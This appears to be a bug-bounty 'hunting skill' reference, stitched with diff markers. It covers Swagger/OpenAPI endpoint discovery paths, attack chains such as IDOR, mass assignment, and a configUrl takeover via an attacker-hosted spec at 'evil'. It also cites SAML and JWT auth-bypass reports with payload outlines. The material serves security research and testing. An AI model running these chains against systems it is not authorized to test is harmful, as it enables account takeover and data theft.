NSwag is the Swagger/OpenAPI toolchain for ASP.NET Core. Default routes (`/swagger`, `/swagger/v1/swagger.json`, `/swagger/index.html`) ship enabled in many .NET 6/7/8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.
|
||||
|
||||
### Default discovery paths (cross-references `web2-recon`)
|
||||
|
||||
```
|
||||
# NSwag / Swashbuckle (ASP.NET Core)
|
||||
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
|
||||
/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
|
||||
/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json
|
||||
|
||||
# Generic OpenAPI
|
||||
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json
|
||||
|
||||
# Java / Spring (Springfox / springdoc)
|
||||
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources
|
||||
|
||||
# Python (FastAPI / Connexion)
|
||||
/docs, /redoc, /openapi.json
|
||||
|
||||
# Quarkus
|
||||
/q/openapi, /q/swagger-ui
|
||||
|
||||
# GraphQL adjacent
|
||||
/graphql, /graphiql, /playground, /altair, /voyager
|
||||
```
|
||||
|
||||
Tools: `kiterunner` natively eats OpenAPI; `sj` (Swagger Jacker), `apidetector`, `XSSwagger`.
|
||||
|
||||
### Attack chains
|
||||
|
||||
**A. Spec disclosure → mass IDOR / BOLA.** Spec lists every `GET /api/v1/users/{userId}/...`. `jq '.paths | keys' swagger.json` → swap `{userId}` for victim's ID via Autorize/`ffuf -mc 200`. Common case: spec leaks `/api/admin/users/{id}/reset-password` documented but missing `[Authorize(Roles="Admin")]` on the controller — low-priv ATO.
|
||||
|
||||
**B. Spec disclosure → mass-assignment payload construction.** `components.schemas.UserUpdateDto` enumerates every model field including `isAdmin`, `emailVerified`, `tenantId`, `role`. Attacker copies the schema verbatim into `PATCH /users/me` and adds the privileged fields. Server's `[FromBody]` binder accepts them when DTOs aren't split into read-vs-write models.
|
||||
|
||||
**C. Hidden endpoints.** Specs document `/internal/*`, `/debug/*`, `/v0/*`, `/legacy/*` routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.
|
||||
|
||||
**D. Swagger UI configUrl takeover.** Swagger UI loads its config from `?configUrl=`. If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the *legitimate* Swagger UI with `?configUrl=https://evil/spec.json`. Spec routes point back at the legitimate origin so the victim's "Try It Out" clicks fire same-origin authenticated requests. ([HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025](https://hackerone.com/reports/3124103))
|
||||
|
||||
### Disclosed cases
|
||||
|
||||
- **CVE-2018-25031** — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).
|
||||
- **Swagger UI DOM XSS (3.14.1 → 3.38.0)** — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser ([Vidoc Security Lab writeup](https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers), [PortSwigger Daily Swig](https://portswigger.net/daily-swig/widespread-swagger-ui-library-vulnerability-leads-to-dom-xss-attacks)). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.
|
||||
- **HackerOne #3124103** — U.S. Department of Defense, Swagger UI Injection (May 2025).
|
||||
- **HackerOne #2534300** — Ionity GmbH, HTML injection in Swagger UI.
|
||||
- **HackerOne #1656650** — Reflected XSS via Swagger UI `url=` parameter.
|
||||
- **CloudSEK threat-intel (2024)** — actors abuse exposed `swagger-ui` to invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. ([CloudSEK report](https://www.cloudsek.com/threatintelligence/threat-actors-use-exposed-swagger-ui-to-misuse-a-companys-endpoints-and-target-customers))
|
||||
- **CVE-2023-38337** — `rswag` (Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.
|
||||
|
||||
### Detection checklist
|
||||
|
||||
1. httpx-probe every path above across the full subdomain set; flag 200 with `Content-Type: application/json` AND body matching `"swagger"` or `"openapi"`.
|
||||
2. For every hit: `jq '.paths | keys' swagger.json` → feed to kiterunner / Autorize.
|
||||
3. `jq '.components.schemas' swagger.json` → mass-assignment field candidates.
|
||||
4. Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 / DOM-XSS table.
|
||||
5. Test `?configUrl=` and `?url=` parameter handling on every Swagger UI hit.
|
||||
|
||||
---
|
||||
|
||||
## Related Skills & Chains
|
||||
|
||||
- **`hunt-ato`** — Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment + `hunt-ato` → `role=admin` set on signup → ATO via privileged role on first login.
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
---
|
||||
name: hunt-auth-bypass
|
||||
description: Hunting skill for auth bypass vulnerabilities. Built from 4 public bug bounty reports. Use when hunting auth bypass on any target.
|
||||
sources: github
|
||||
report_count: 4
|
||||
description: Hunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.
|
||||
sources: github, hackerone_public, github_security_lab, projectdiscovery_research
|
||||
report_count: 12
|
||||
---
|
||||
|
||||
## Crown Jewel Targets
|
||||
@@ -317,6 +317,96 @@ An e-commerce platform's partner/reseller portal issued authentication tokens th
|
||||
|
||||
---
|
||||
|
||||
## Disclosed Report Citations (Backfill +8 — 2016-2025)
|
||||
|
||||
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.
|
||||
|
||||
5. **GitHub Enterprise Server — SAML XSW via parser differential (CVE-2025-25291/25292)** ([H1 #2579939](https://hackerone.com/reports/2579939) · [Blog](https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/))
|
||||
- Subclass: SAML signature stripping / XSW (parser-differential variant)
|
||||
- Payload: signed SAML response; inject a sibling `<Assertion>` so REXML (signature-checker) and Nokogiri (business-logic reader) resolve different nodes via the same XPath. Signature validates against benign node; SP consumes attacker-controlled `<NameID>admin@target</NameID>`
|
||||
- Root cause: two XML parsers used for verification vs consumption return different elements for the same XPath
|
||||
- Year: 2025 — GitHub Security Lab bounty (program max class, internally rated Critical)
|
||||
|
||||
6. **GitHub Enterprise — SAML signature bypass on encrypted assertions (CVE-2024-4985)** ([H1 #2475347](https://hackerone.com/reports/2475347) · [ProjectDiscovery advisory](https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass))
|
||||
- Subclass: SAML signature stripping (XSW family) when encrypted-assertions feature enabled
|
||||
- Payload: forge SAML response with attacker-controlled assertion; exploit improper signature verification on the encrypted-assertion code branch; provision arbitrary user including `site_admin`
|
||||
- Root cause: improper cryptographic signature verification on the encrypted-assertion code branch
|
||||
- Year: 2024 — bounty undisclosed, CVSS 10.0
|
||||
|
||||
7. **Uber — SAML auth bypass on `uchat.uberinternal.com`** ([H1 #223014](https://hackerone.com/reports/223014))
|
||||
- Subclass: SAML signature stripping / improper assertion verification (OneLogin SP-side)
|
||||
- Payload: replay/modify SAML assertion with forged `NameID`; SP did not strictly validate signature scope, so attacker-controlled assertion accepted, granting OneLogin SSO session to internal chat
|
||||
- Root cause: improper SAML signature verification on SP implementation
|
||||
- Year: 2017 — **$8,500**
|
||||
|
||||
8. **Uber — OneLogin SSO bypass via WordPress XMLRPC** ([H1 #138869](https://hackerone.com/reports/138869))
|
||||
- Subclass: WordPress XMLRPC bypassing SSO (legacy-auth path not gated) — canonical Legacy-Protocol Matrix case
|
||||
- Payload: OneLogin plugin auto-created WP users with literal password `@@@nopass@@@`. SSO plugin blocked `wp-login.php` only. POST `xmlrpc.php` with `wp.getUsersBlogs` + known shared password → authenticated as any previously-SSO'd user
|
||||
- Root cause: SSO enforcement applied at one auth surface (wp-login) but legacy XML-RPC path retained password auth with a guessable shared password
|
||||
- Year: 2016 — **$7,000**
|
||||
|
||||
9. **Slack — SAML "confused-deputy" assertion reuse** ([Writeup](http://blog.intothesymmetry.com/2017/10/slack-saml-authentication-bypass.html))
|
||||
- Subclass: partner-portal / cross-IdP assertion reuse (audience-restriction not validated)
|
||||
- Payload: take an old expired GitHub-signed SAML assertion (different audience, different subject) → present to Slack ACS → Slack logs attacker in as the asserted username
|
||||
- Root cause: no audience-restriction nor freshness check; trust extended across IdPs
|
||||
- Year: 2017 — **$3,000**
|
||||
|
||||
10. **HackerOne — SAML signup domain enforcement bypass via control characters** ([H1 #2101076](https://hackerone.com/reports/2101076))
|
||||
- Subclass: partner-portal / SAML domain-binding bypass via unicode control characters
|
||||
- Payload: new user sign-up at SAML-enforced org; append trailing control character (e.g., `\r`, ` | ||||